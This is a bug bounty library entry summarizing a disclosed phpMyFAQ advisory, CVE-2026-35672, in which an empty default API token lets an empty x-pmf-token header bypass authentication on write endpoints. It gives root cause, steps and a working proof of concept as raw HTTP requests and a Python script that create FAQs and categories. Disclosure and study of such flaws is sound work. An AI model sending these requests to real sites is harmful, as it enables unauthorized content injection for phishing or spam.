# phpMyFAQ: Default Empty API Token Authentication Bypass

phpMyFAQ seeds api.apiClientToken as empty string and strict-compares it to the x-pmf-token header, so an empty header bypasses auth to create/modify FAQs and categories.

- Payout: Research
- Severity: high
- Program: phpMyFAQ
- Found by (vendor credit): guayu-kakeru
- Found by: guayu-kakeru
- Disclosed: 2026-05-20
- CVE: CVE-2026-35672
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-gp95-j463-vv28
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-gp95-j463-vv28
- Tags: area:web domain:api domain:web impact:integrity kind:research platform:ghsa sev:high tech:php tech:rest technique:default-creds technique:source-review vuln:access-control vuln:auth-bypass vuln:misconfiguration

**Target:** phpMyFAQ REST API v4.0 write endpoints (faq/create, faq/update, category, question)
**Root cause:** Installation seeder sets api.apiClientToken to '' while hasValidToken() uses strict inequality against the request's x-pmf-token header, so an empty header value equals the empty default and passes.
**Steps:**
1. Install phpMyFAQ with defaults; confirm api.enableAccess=true and api.apiClientToken=''.
2. POST /api/v4.0/faq/create without x-pmf-token -> 401 Unauthorized.
3. Resend same JSON body with header `x-pmf-token: ` (empty value) -> 201 {"stored": true}.
4. POST /api/v4.0/category with empty `x-pmf-token` header -> 201, category created.
5. GET /api/v4.0/faqs/1 -> 200, injected FAQ publicly visible.
**How found:** Code review of the installation seeder and AbstractController::hasValidToken(); noticed the strict !== comparison cannot distinguish an unconfigured empty token from an attacker-supplied empty header, then confirmed with a 401-vs-201 differential.
**Exploitation:** Unauthenticated attacker sends write requests to /api/v4.0/faq/create, /faq/update, /category, /question with an empty x-pmf-token header, injecting content into the public knowledge base for phishing, SEO spam or malicious links.
**Insight:** When a secret is compared with strict equality, check whether the default/unconfigured value is itself a valid input (empty string, null, '0'); test sending the empty header explicitly rather than omitting it, since omission and empty value often take different code paths.

## Proof of concept (copied exactly from the original report)

**Empty x-pmf-token header creates FAQ entry**

```
POST /api/v4.0/faq/create HTTP/1.1
Host: <target>
Content-Type: application/json
x-pmf-token: 

{
    "language": "en",
    "category-id": 1,
    "question": "[POC] Authentication Bypass Confirmed",
    "answer": "This FAQ was created without any valid authentication token.",
    "keywords": "poc,bypass",
    "author": "Security Researcher",
    "email": "researcher@example.com",
    "is-active": true,
    "is-sticky": false
}

Response (HTTP 201 — bypass confirmed):

{"stored": true}
```

**Empty token category creation request**

```
POST /api/v4.0/category HTTP/1.1
Host: <target>
Content-Type: application/json
x-pmf-token: 

{
    "language": "en",
    "parent-id": 0,
    "category-name": "POC_Category",
    "description": "Category created via empty token bypass",
    "user-id": 1,
    "group-id": -1,
    "is-active": true,
    "show-on-homepage": true
}

Response (HTTP 201):

{"stored": true}
```

**Python urllib PoC with empty token**

```
import urllib.request, json

TARGET = "http://<target>"
HEADERS = {"Content-Type": "application/json", "x-pmf-token": ""}

# Create FAQ via empty token bypass
data = json.dumps({
    "language": "en", "category-id": 1,
    "question": "[POC] Auth Bypass", "answer": "Created via bypass.",
    "keywords": "poc", "author": "R", "email": "r@t.com",
    "is-active": True, "is-sticky": False
}).encode()
req = urllib.request.Request(f"{TARGET}/api/v4.0/faq/create", data=data, headers=HEADERS, method="POST")
resp = urllib.request.urlopen(req)
print(f"Status: {resp.status}")  # 201 — bypass successful
```

